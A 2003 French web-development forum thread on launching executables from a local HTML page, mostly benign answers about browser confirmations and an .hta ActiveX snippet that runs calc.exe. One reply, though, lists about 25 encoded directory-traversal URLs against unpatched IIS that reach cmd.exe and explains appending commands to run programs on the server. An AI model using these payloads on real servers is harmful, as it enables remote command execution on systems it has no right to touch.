Lancer un programme à partir d'une page HTML

Lancer un programme à partir d'une page HTML - HTML/CSS - Programmation

Marsh Posté le 10-02-2003 à 10:57:43    

est il possible de lancer un executable, comme on peut le faire avec l'explorateur windows, à partir d'une page html, n'y aurait il pas klk chose a faire avec les activex ou applet java ?

Reply

Marsh Posté le 10-02-2003 à 10:57:43   

Reply

Marsh Posté le 10-02-2003 à 11:20:03    

pk tu ve faire koi?  :heink:

Reply

Marsh Posté le 10-02-2003 à 11:22:00    

ba en fait je suis entrain de créer un site intranet destiné à etre consulté directement à partir d'un disque dur en local donc, et je souhaiterais mettre un lien permettant de lancer une application externe

Reply

Marsh Posté le 10-02-2003 à 12:02:58    

bah si c en local il suffit de mettre le chemin du fichier en lien lol!

Reply

Marsh Posté le 10-02-2003 à 15:43:19    

ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement

Reply

Marsh Posté le 10-02-2003 à 15:52:33    

mandrax a écrit :

ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement


oui
et tu pe choisir entre lancer et télécharger;)
sufit de faire lancer..
 
mais de tte facon tu devras tjrs avoir une confirmation de lutilisateur, sinon imagine les désastres  :whistle: , on pourait lancer des virus sur le PC du visiteur  :(  
 

Reply

Marsh Posté le 04-03-2003 à 09:11:05    

Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer :o
 
 
De plus quand on clique sur le lien (si c'est un gros fichier) celui-ci se charge en local (je suis sur un cdrom) ce qui prend parfois 2-3 minutes avant d'afficher la boîte de dialogue "téléchargement" :fou:
 
 
Une idée  ?
 

Reply

Marsh Posté le 04-03-2003 à 10:36:14    

Falconpage a écrit :

Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer :o
 
 
De plus quand on clique sur le lien (si c'est un gros fichier) celui-ci se charge en local (je suis sur un cdrom) ce qui prend parfois 2-3 minutes avant d'afficher la boîte de dialogue "téléchargement" :fou:
 
 
Une idée  ?


 
T'as pas lu, juste au dessus de ton message ? On vient de te dire qu'il faut forcément une confirmation. Tu zappera pas de boite de dialogue...

Reply

Marsh Posté le 04-03-2003 à 21:23:12    

ouaip, si vous tenez à ce que votre intranet lance des programmes,  
y a pas d'autre solution que mettre une version pourrie d'IE et exploiter dans les pages une faille de securite (ça peut etre pratique, mais si vos navigateurs visitent internet, c'est pas conseillé)

Reply

Marsh Posté le 04-03-2003 à 21:29:15    

thesmilingface a écrit :

ouaip, si vous tenez à ce que votre intranet lance des programmes,  
y a pas d'autre solution que mettre une version pourrie d'IE et exploiter dans les pages une faille de securite (ça peut etre pratique, mais si vos navigateurs visitent internet, c'est pas conseillé)


 
tu te répètes, là :D

Reply

Marsh Posté le 04-03-2003 à 21:29:15   

Reply

Marsh Posté le 04-03-2003 à 21:55:48    

on rigole, on rigole...
mais je rappelle les stats:
 - IE    95 %
 
 dont
       IE5.x    47 %
       IE6      46 %
 
 et les désoeuvrés:
        IE4.x   1,58%
        IE3.x   0,02%
 
si on pose qu'un ie est pourri si son numero de version est inferieur à 6 , on a CPOURRI=49%
 
si on pose qu'ie6 est tout nouveau, tout bo et megastable (surtout dans le cas d'un cd gravé d'ie6 rangé à plat au fond d'un tiroir)
on a TOPDUTOP=46%
 
ça fait 5% de navigateurs alternatifs
  dont 4% de Netscape
 
et Mozilla ? et Opera ? ils sont là dedans =>  [ 1 % ]
ça fait mal...

Reply

Marsh Posté le 04-03-2003 à 21:57:47    

Skylight a écrit :


 
tu te répètes, là :D


 
bon tu veux réellement la soluce?
je vais te la donner...
 
 
Tu installe IIS4.0 ou meme 5.0 sur ton WINNT
tu patch rien du tout,
ton serveur sera plein de faille.
 
Ensuite tu fout tes pages etc..
et pour executer tu utilise une faille unicode
 
 
exemple de faille :
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
 
 
 
 
par exemple sur ton site
www.abc.com/scripts/..%255c../winn [...] exe?/c+dir
 
 
tu rajoute a lurl
 
www.abc.com/scripts/..%255c../winn [...] ichier.EXe
 
et ca va executer le fichier sur le server...
 
 
ETC
tu pe tamuser a tentrainer a exploiter toute les failles IIS si tu ve
fé des recherches
 
ATTENTION ce message est a titre indicatif
et biensur tu pe hacker ta machine mais pas celle d otre....
 
ADmin: edit mon msg si besoin
++
a bon entendeur

Reply

Marsh Posté le 04-03-2003 à 22:35:55    

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD


Message édité par antp le 04-03-2003 à 22:37:27
Reply

Marsh Posté le 04-03-2003 à 22:59:23    

thesmilingface a écrit :

on rigole, on rigole...


 
je parle pas de sécurité et d'utilisation
 
je parle d'IE et son parsing de l'HTML
 
pourquoi ya plein de failles ? paske il a tendance a tout accepter
 
une page qui marche sous IE est loin de forcément marcher niquel sous mozilla

Reply

Marsh Posté le 04-03-2003 à 23:09:09    

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
tres interessant le .HTA
 
en fait ce kil pe faire ossi c presk la meme choz, avec le coup du ActiveX objet, mais il y a une confirmation, et pr virer la confirmation sufit de changer les parametre de securité concernant lactiveX sur tte les bécane du rezo ki font utiliser le site  :lol:  

Reply

Marsh Posté le 05-03-2003 à 00:03:24    

Skylight a écrit :

je parle pas de sécurité et d'utilisation
 
je parle d'IE et son parsing de l'HTML
 
pourquoi ya plein de failles ? paske il a tendance a tout accepter


Il n'y a pas forcément de lien entre le fait que le moteur de rendu d'IE soit très laxiste avec le code HTML qu'il interprète et la sécurité.
 
Les problèmes de sécurité sont principalement dû à l'implémentation de JavaScript et à l'intégration poussé du navigateur avec l'OS.

Skylight a écrit :

une page qui marche sous IE est loin de forcément marcher niquel sous mozilla


Hélas :/


---------------
Incongru : une FAQ abandonnée sur les Standards du Web - FAQ périmée de blabla@Prog
Reply

Marsh Posté le 10-03-2003 à 11:15:49    

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
Merci :jap:
 
Je vais tester.

Reply

Marsh Posté le 10-03-2003 à 11:45:06    

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
...sauf que, quand j'essaye de lancer un programme par ce truc, norton me balance une grosse alerte : "Attention, script malveillant, voulez vous autoriser son exécution ?".
Pour un autorun, c moyen, ça met pas vraiment l'utilisateur en confiance ! :D


Message édité par El_gringo le 10-03-2003 à 11:47:17
Reply

Marsh Posté le 10-03-2003 à 11:51:29    

ha ? chez moi Norton ne dit rien [:wam] T'as bien mis .hta au lieu de .html ?


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
Reply

Marsh Posté le 10-03-2003 à 14:08:30    

antp a écrit :

ha ? chez moi Norton ne dit rien [:wam] T'as bien mis .hta au lieu de .html ?


 
Ouais

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed